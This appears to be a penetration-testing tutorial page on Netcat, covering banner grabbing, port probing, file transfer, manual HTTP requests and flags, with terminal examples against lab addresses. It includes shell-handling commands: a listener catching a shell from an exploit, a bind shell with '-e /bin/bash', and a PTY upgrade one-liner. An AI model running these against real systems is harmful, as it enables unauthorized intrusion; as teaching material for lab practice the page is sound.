Netcat
Netcat reads and writes raw TCP/UDP. That one ability makes it a banner grabber, a port probe, a file transfer tool and a shell handler — the most useful 30-year-old utility in security.
What it is
Netcat opens a TCP or UDP connection and connects it to standard input and output. Whatever you type goes out; whatever arrives is printed. From that single primitive you get: banner grabbing, manual protocol testing, file transfer, port scanning and shell handling.
Variants matter. netcat-traditional supports -e (execute a program). netcat-openbsd (the default on Debian/Kali) does not — you use -c or named pipes instead. Ncat (from Nmap) adds SSL, access control and connection brokering. If a tutorial's command "doesn't work", this is almost always why.
How to use Netcat
Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.
Grab a banner — what is really behind that port?
kali@errordex:~$ nc -nv 10.10.10.5 22
(UNKNOWN) [10.10.10.5] 22 (ssh) open SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10 # OpenSSH 7.2p2 + Ubuntu 16.04 (EOL) = old and unpatched
Probe a range without a scanner
kali@errordex:~$ nc -zv 10.10.10.5 1-1000 2>&1 | grep -v refused
(UNKNOWN) [10.10.10.5] 22 (ssh) open (UNKNOWN) [10.10.10.5] 80 (http) open (UNKNOWN) [10.10.10.5] 139 (netbios-ssn) open (UNKNOWN) [10.10.10.5] 445 (microsoft-ds) open
Move a file with no service installed
kali@errordex:~$ nc -lvnp 4444 > received.zip # on the receiver first
listening on [any] 4444 ... connect to [10.10.10.1] from (UNKNOWN) [10.10.10.5] 51234 # then, on the sender: # nc 10.10.10.1 4444 < payload.zip
Set up a listener BEFORE firing an exploit
kali@errordex:~$ nc -lvnp 4444
listening on [any] 4444 ... connect to [10.10.10.1] from (UNKNOWN) [10.10.10.5] 51288 id uid=33(www-data) gid=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'.Speak a protocol by hand
kali@errordex:~$ printf "GET / HTTP/1.1\r\nHost: target.local\r\n\r\n" | nc -nv 10.10.10.5 80
HTTP/1.1 200 OK Server: Apache/2.4.7 (Ubuntu) Content-Length: 1043 <html>…
Flags & options
| FLAG | WHAT IT DOES |
|---|---|
| -l | Listen mode (server). |
| -v | Verbose output. |
| -n | No DNS resolution — faster. |
| -p PORT | Local port to listen on. |
| -z | Scan mode: connect, report open, send nothing. |
| -u | UDP instead of TCP. |
| -e prog | Execute a program (traditional variant only — often disabled). |
| -w N | Timeout in seconds. |
| -q N | Quit N seconds after EOF — useful for scripting. |
| -k | Keep listening after the client disconnects. |
| nc -lvnp 4444 > f | Receive a file. |
| nc host 4444 < f | Send a file. |
Why it matters
When a scan says "port 22 open", Netcat tells you what is actually behind it — the exact banner, the exact protocol behaviour. When you need to move a file to a target, Netcat does it without any service installed. When you need a shell listener for a payload, Netcat is the receiver. It is the tool you reach for when nothing else is installed.
How it works
Netcat connects a socket to standard input and output. Anything you type is written to the socket; anything the remote sends is printed. That single mechanism is enough to speak any plain-text protocol by hand, move a file, or hand a shell to a listener.
Reverse shells work because the target initiates the connection outward — which most firewalls allow — and your listener simply accepts it and connects the socket to your terminal.
Commands & syntax
# what is really on that port? nc -nv 10.10.10.5 22 nc -nv 10.10.10.5 80 # quick port probe nc -zv 10.10.10.5 1-1000 nc -zvu 10.10.10.5 53
# receiver first nc -lvnp 4444 > received.zip # then sender nc 10.10.10.5 4444 < payload.zip
# set this up BEFORE you fire the exploit nc -lvnp 4444 # upgrade it to a real TTY once you are in (on the target) python3 -c 'import pty;pty.spawn("/bin/bash")'
# on the target — many builds no longer support -e nc -lvnp 4444 -e /bin/bash # connect to it nc 10.10.10.5 4444
# speak HTTP by hand — useful for confirming how a server behaves
printf "GET / HTTP/1.1\r\nHost: target.local\r\n\r\n" | nc -nv 10.10.10.5 80kali@errordex:~$ nc -nv 10.10.10.5 22 (UNKNOWN) [10.10.10.5] 22 (ssh) open SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10 # That single line tells you: # OpenSSH 7.2p2 → old, check for known issues # Ubuntu 16.04 → EOL, likely unpatched elsewhere too # No delay → not behind a proxy or wrapper kali@errordex:~$ nc -zv 10.10.10.5 1-1000 (UNKNOWN) [10.10.10.5] 22 (ssh) open (UNKNOWN) [10.10.10.5] 80 (http) open (UNKNOWN) [10.10.10.5] 139 (netbios-ssn) open (UNKNOWN) [10.10.10.5] 445 (microsoft-ds) open # 139/445 open on an internet-facing host is a serious finding
Common mistakes
Expecting -e to work
Most modern builds disable it. Use named pipes or a reverse shell payload instead.
Firing an exploit before starting the listener
The shell connects to nothing and is lost. Listener first, always.
Leaving listeners open
A forgotten nc -lvnp 4444 is an open door on your own machine.
Using it across the internet unencrypted
Everything is plain text — credentials included. Use SSH or Ncat with SSL when it matters.
Confusing variants
nc on Debian is openbsd variant; tutorials using -e assume the traditional one.
Forgetting to clean up transferred files
Leave the target as you found it, or note exactly what you changed.
Practice safely
Practise on two VMs on a host-only network — one Kali, one target. Every command here needs nothing more than that. TryHackMe rooms use Netcat constantly for shell handling.